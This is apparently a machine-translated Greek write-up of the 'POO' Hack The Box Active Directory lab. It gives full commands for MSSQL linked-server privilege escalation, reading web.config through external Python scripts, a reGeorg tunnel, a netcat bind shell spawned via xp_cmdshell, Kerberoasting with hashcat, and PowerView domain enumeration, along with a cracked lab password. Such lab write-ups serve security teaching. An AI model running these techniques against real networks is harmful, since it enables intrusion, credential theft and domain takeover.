Σε αυτό το άρθρο, θα αναλύσουμε το πέρασμα όχι μόνο ενός μηχανήματος, αλλά ενός ολόκληρου μίνι εργαστηρίου από τον ιστότοπο
Όπως αναφέρεται στην περιγραφή, το POO έχει σχεδιαστεί για να δοκιμάζει τις δεξιότητες σε όλα τα στάδια των επιθέσεων σε ένα μικρό περιβάλλον Active Directory. Ο στόχος είναι να θέσετε σε κίνδυνο έναν διαθέσιμο κεντρικό υπολογιστή, να κλιμακώσετε τα προνόμια και τελικά να παραβιάσετε ολόκληρο τον τομέα συλλέγοντας 5 σημαίες στη διαδικασία.
Η σύνδεση με το εργαστήριο γίνεται μέσω VPN. Συνιστάται να μην συνδέεστε από έναν υπολογιστή που λειτουργεί ή από έναν κεντρικό υπολογιστή όπου υπάρχουν σημαντικά δεδομένα για εσάς, καθώς μπαίνετε σε ένα ιδιωτικό δίκτυο με άτομα που γνωρίζουν κάτι σχετικά με την ασφάλεια πληροφοριών 🙂
οργανωτικές πληροφορίες
Για να μπορείτε να μάθετε για νέα άρθρα, λογισμικό και άλλες πληροφορίες, δημιούργησα
Όλες οι πληροφορίες παρέχονται μόνο για εκπαιδευτικούς σκοπούς. Ο συντάκτης αυτού του εγγράφου δεν αναλαμβάνει καμία ευθύνη για οποιαδήποτε ζημία προκληθεί σε κανέναν ως αποτέλεσμα της χρήσης των γνώσεων και των μεθόδων που αποκτήθηκαν ως αποτέλεσμα της μελέτης αυτού του εγγράφου.
Εισαγωγή
Αυτό το τελικό παιχνίδι αποτελείται από δύο μηχανές και περιέχει 5 σημαίες.
Δίνεται επίσης η περιγραφή και η διεύθυνση του διαθέσιμου κεντρικού υπολογιστή.
Ας ξεκινήσουμε!
Recon σημαία
Αυτό το μηχάνημα έχει διεύθυνση IP 10.13.38.11 την οποία προσθέτω στο /etc/host.
10.13.38.11 poo.htb
Το πρώτο βήμα είναι να σαρώσετε ανοιχτές θύρες. Επειδή χρειάζεται πολύς χρόνος για να σαρώσετε όλες τις θύρες με nmap, θα το κάνω πρώτα με το masscan. Σαρώνουμε όλες τις θύρες TCP και UDP από τη διεπαφή tun0 στα 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Τώρα, για να λάβετε πιο λεπτομερείς πληροφορίες σχετικά με τις υπηρεσίες που εκτελούνται στις θύρες, ας εκτελέσουμε μια σάρωση με την επιλογή -A.
nmap -A poo.htb -p80,1433
Έτσι, έχουμε υπηρεσίες IIS και MSSQL. Σε αυτήν την περίπτωση, θα μάθουμε το πραγματικό όνομα DNS του τομέα και του υπολογιστή. Στον διακομιστή ιστού, μας υποδέχεται η αρχική σελίδα των υπηρεσιών IIS.
Ας επαναλάβουμε τους καταλόγους. Χρησιμοποιώ γοβούστερ για αυτό. Στις παραμέτρους καθορίζουμε τον αριθμό των ροών 128 (-t), URL (-u), λεξικό (-w) και επεκτάσεις που μας ενδιαφέρουν (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Έτσι, έχουμε έλεγχο ταυτότητας HTTP για τον κατάλογο /admin, καθώς και το αρχείο αποθήκευσης της υπηρεσίας επιτραπέζιου υπολογιστή .DS_Store διαθέσιμο. Τα .DS_Store είναι αρχεία που αποθηκεύουν τις ρυθμίσεις χρήστη για έναν φάκελο, όπως μια λίστα αρχείων, θέση εικονιδίου, επιλεγμένη εικόνα φόντου. Ένα τέτοιο αρχείο μπορεί να καταλήξει στον κατάλογο διακομιστή web των προγραμματιστών ιστού. Έτσι, παίρνουμε πληροφορίες για τα περιεχόμενα του καταλόγου. Για αυτό μπορείτε να χρησιμοποιήσετε
python3 dsstore_crawler.py -i http://poo.htb/
Λαμβάνουμε τα περιεχόμενα του καταλόγου. Το πιο ενδιαφέρον εδώ είναι ο κατάλογος /dev, από τον οποίο μπορούμε να δούμε τις πηγές και τα αρχεία db σε δύο κλάδους. Ωστόσο, μπορούμε να χρησιμοποιήσουμε τους πρώτους 6 χαρακτήρες των ονομάτων αρχείων και καταλόγων εάν η υπηρεσία είναι ευάλωτη στο ShortName των υπηρεσιών IIS. Μπορείτε να ελέγξετε για αυτήν την ευπάθεια χρησιμοποιώντας
Και βρίσκουμε ένα αρχείο κειμένου που ξεκινά με "poo_co". Μη γνωρίζοντας τι να κάνω μετά, απλά επέλεξα από το λεξικό των καταλόγων όλες τις λέξεις που ξεκινούν με "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Και επαναλάβετε με το wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Και βρες τη σωστή λέξη! Εξετάζουμε αυτό το αρχείο, αποθηκεύουμε τα διαπιστευτήρια (κρίνοντας από την παράμετρο DBNAME, είναι από το MSSQL).
Παραδίδουμε τη σημαία και προχωράμε κατά 20%.
ρε σημαία
Συνδεόμαστε στο MSSQL, χρησιμοποιώ το DBeaver.
Δεν βρίσκουμε τίποτα ενδιαφέρον σε αυτή τη βάση δεδομένων, ας δημιουργήσουμε ένα SQL Editor και ας ελέγξουμε ποιοι είναι οι χρήστες.
SELECT name FROM master..syslogins;
Έχουμε δύο χρήστες. Ας ελέγξουμε τα προνόμιά μας.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Επομένως, δεν υπάρχουν προνόμια. Ας δούμε τους συνδεδεμένους διακομιστές, έγραψα αναλυτικά για αυτήν την τεχνική
SELECT * FROM master..sysservers;
Έτσι βρίσκουμε έναν άλλο SQL Server. Ας ελέγξουμε την εκτέλεση των εντολών σε αυτόν τον διακομιστή χρησιμοποιώντας το openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Και μπορούμε ακόμη και να δημιουργήσουμε ένα δέντρο ερωτημάτων.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Γεγονός είναι ότι όταν κάνουμε ένα αίτημα σε έναν συνδεδεμένο διακομιστή, το αίτημα εκτελείται στο πλαίσιο ενός άλλου χρήστη! Ας δούμε ποιο περιβάλλον χρήστη εκτελούμε στον συνδεδεμένο διακομιστή.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Και τώρα ας δούμε σε ποιο πλαίσιο εκτελείται το αίτημα από τον συνδεδεμένο διακομιστή στον δικό μας!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Επομένως, είναι ένα πλαίσιο DBO που πρέπει να έχει όλα τα προνόμια. Ας ελέγξουμε τα προνόμια σε περίπτωση αιτήματος από συνδεδεμένο διακομιστή.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Όπως μπορείτε να δείτε, έχουμε όλα τα προνόμια! Ας δημιουργήσουμε τον διαχειριστή μας έτσι. Αλλά δεν τους αφήνουν να περάσουν το openquery, ας το κάνουν μέσω του EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Και τώρα συνδεόμαστε με τα διαπιστευτήρια του νέου χρήστη, παρατηρούμε τη νέα βάση δεδομένων σημαίας.
Παραδίδουμε αυτή τη σημαία και προχωράμε παρακάτω.
Σημαία Backtrack
Ας πάρουμε το κέλυφος χρησιμοποιώντας MSSQL, χρησιμοποιώ το mssqlclient από το πακέτο impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Πρέπει να λάβουμε κωδικούς πρόσβασης και το πρώτο πράγμα που έχουμε ήδη συναντήσει είναι ο ιστότοπος. Έτσι, χρειαζόμαστε μια διαμόρφωση διακομιστή ιστού (είναι αδύνατο να ρίξουμε ένα βολικό κέλυφος, προφανώς το τείχος προστασίας λειτουργεί).
Αλλά η πρόσβαση δεν επιτρέπεται. Αν και μπορούμε να διαβάσουμε το αρχείο από το MSSQL, πρέπει απλώς να γνωρίζουμε ποιες γλώσσες προγραμματισμού έχουν ρυθμιστεί. Και στον κατάλογο MSSQL ανακαλύπτουμε ότι υπάρχει Python.
Τότε δεν υπάρχει πρόβλημα να διαβάσετε το αρχείο web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Με τα διαπιστευτήρια που βρέθηκαν, μεταβείτε στο /admin και σηκώστε τη σημαία.
σημαία βάσης
Στην πραγματικότητα, υπάρχουν κάποιες ενοχλήσεις από τη χρήση τείχους προστασίας, αλλά κοιτάζοντας τις ρυθμίσεις δικτύου, παρατηρούμε ότι χρησιμοποιείται και το πρωτόκολλο IPv6!
Προσθέστε αυτήν τη διεύθυνση στο /etc/hosts.
dead:babe::1001 poo6.htb
Ας σαρώσουμε ξανά τον κεντρικό υπολογιστή, αλλά αυτή τη φορά μέσω IPv6.
Και η υπηρεσία WinRM είναι διαθέσιμη μέσω IPv6. Ας συνδεθούμε με τα διαπιστευτήρια που βρέθηκαν.
Υπάρχει μια σημαία στην επιφάνεια εργασίας, παραδώστε την.
P00ned σημαία
Μετά από αναγνώριση στον οικοδεσπότη με
setspn.exe -T intranet.poo -Q */*
Ας εκτελέσουμε την εντολή μέσω MSSQL.
Με αυτόν τον τρόπο, παίρνουμε το SPN των χρηστών p00_hr και p00_adm, που σημαίνει ότι είναι ευάλωτοι σε μια επίθεση όπως το Kerberoasting. Εν ολίγοις, μπορούμε να πάρουμε τους κατακερματισμούς των κωδικών πρόσβασής τους.
Πρώτα πρέπει να αποκτήσετε ένα σταθερό κέλυφος για λογαριασμό του χρήστη MSSQL. Επειδή όμως έχουμε περιορισμένη πρόσβαση, έχουμε σύνδεση με τον κεντρικό υπολογιστή μόνο μέσω των θυρών 80 και 1433. Αλλά είναι δυνατή η διοχέτευση της κυκλοφορίας μέσω της θύρας 80! Για αυτό χρησιμοποιούμε
Αλλά όταν προσπαθούμε να αποκτήσουμε πρόσβαση, λαμβάνουμε ένα σφάλμα 404. Αυτό σημαίνει ότι τα αρχεία *.aspx δεν εκτελούνται. Για να εκτελέσετε αρχεία με αυτές τις επεκτάσεις, εγκαταστήστε το ASP.NET 4.5 ως εξής.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Και τώρα, κατά την πρόσβαση στο tunnel.aspx, παίρνουμε την απάντηση ότι όλα είναι έτοιμα.
Ας ξεκινήσουμε το τμήμα πελάτη της εφαρμογής, το οποίο θα αναμεταδώσει την κυκλοφορία. Θα προωθήσουμε όλη την κίνηση από τη θύρα 5432 στον διακομιστή.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Και χρησιμοποιούμε αλυσίδες μεσολάβησης για να στείλουμε την επισκεψιμότητα οποιασδήποτε εφαρμογής μέσω του διακομιστή μας μεσολάβησης. Ας προσθέσουμε αυτόν τον διακομιστή μεσολάβησης στο αρχείο διαμόρφωσης /etc/proxychains.conf.
Τώρα ας ανεβάσουμε το πρόγραμμα στον διακομιστή
Τώρα, μέσω του MSSQL, εκκινούμε τον ακροατή.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Και συνδεόμαστε μέσω του proxy μας.
proxychains rlwrap nc poo.htb 4321
Και ας πάρουμε τα χασίς.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Στη συνέχεια, πρέπει να κάνετε επανάληψη σε αυτούς τους κατακερματισμούς. Επειδή ο rockyou δεν διέθετε λεξικό δεδομένων κωδικού πρόσβασης, χρησιμοποίησα ΟΛΑ τα λεξικά κωδικών πρόσβασης που παρέχονται στο Seclists. Για την απαρίθμηση χρησιμοποιούμε hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Και βρίσκουμε και τους δύο κωδικούς, τον πρώτο στο λεξικό dutch_passwordlist.txt και τον δεύτερο στο Keyboard-Combinations.txt.
Και έτσι έχουμε τρεις χρήστες, πηγαίνουμε στον ελεγκτή τομέα. Ας μάθουμε πρώτα τη διεύθυνσή του.
Ωραία, μάθαμε τη διεύθυνση IP του ελεγκτή τομέα. Ας μάθουμε όλους τους χρήστες του domain, καθώς και ποιος από αυτούς είναι διαχειριστής. Για να κάνετε λήψη του σεναρίου για να λάβετε πληροφορίες PowerView.ps1. Στη συνέχεια θα συνδεθούμε χρησιμοποιώντας το evil-winrm, προσδιορίζοντας τον κατάλογο με το σενάριο στην παράμετρο -s. Και, στη συνέχεια, απλώς φορτώστε το σενάριο PowerView.
Τώρα έχουμε πρόσβαση σε όλες τις λειτουργίες του. Ο χρήστης p00_adm μοιάζει με προνομιούχο χρήστη, επομένως θα εργαστούμε στο πλαίσιο του. Ας δημιουργήσουμε ένα αντικείμενο PSCredential για αυτόν τον χρήστη.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Τώρα όλες οι εντολές του Powershell όπου καθορίζουμε Creds θα εκτελούνται για λογαριασμό του p00_adm. Ας εμφανίσουμε μια λίστα χρηστών και το χαρακτηριστικό AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Και έτσι, ο χρήστης μας είναι πραγματικά προνομιούχος. Ας δούμε σε ποιες ομάδες ανήκει.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Επιβεβαιώνουμε τελικά ότι ο χρήστης είναι διαχειριστής τομέα. Αυτό του δίνει το δικαίωμα να συνδεθεί εξ αποστάσεως στον ελεγκτή τομέα. Ας προσπαθήσουμε να συνδεθείτε με το WinRM χρησιμοποιώντας το τούνελ μας. Με μπέρδεψαν τα σφάλματα που εξέδωσε ο reGeorg όταν χρησιμοποιούσα το evil-winrm.
Στη συνέχεια χρησιμοποιούμε ένα άλλο, πιο εύκολο,
Προσπαθούμε να συνδεθούμε και είμαστε στο σύστημα.
Αλλά δεν υπάρχει σημαία. Στη συνέχεια, κοιτάξτε τον χρήστη και ελέγξτε τους επιτραπέζιους υπολογιστές.
Στο mr3ks βρίσκουμε τη σημαία και το εργαστήριο είναι 100% ολοκληρωμένο.
Αυτό είναι όλο. Ως ανατροφοδότηση, σχολιάστε εάν μάθατε κάτι νέο από αυτό το άρθρο και εάν σας ήταν χρήσιμο.
Μπορείτε να συμμετάσχετε στο
Πηγή: www.habr.com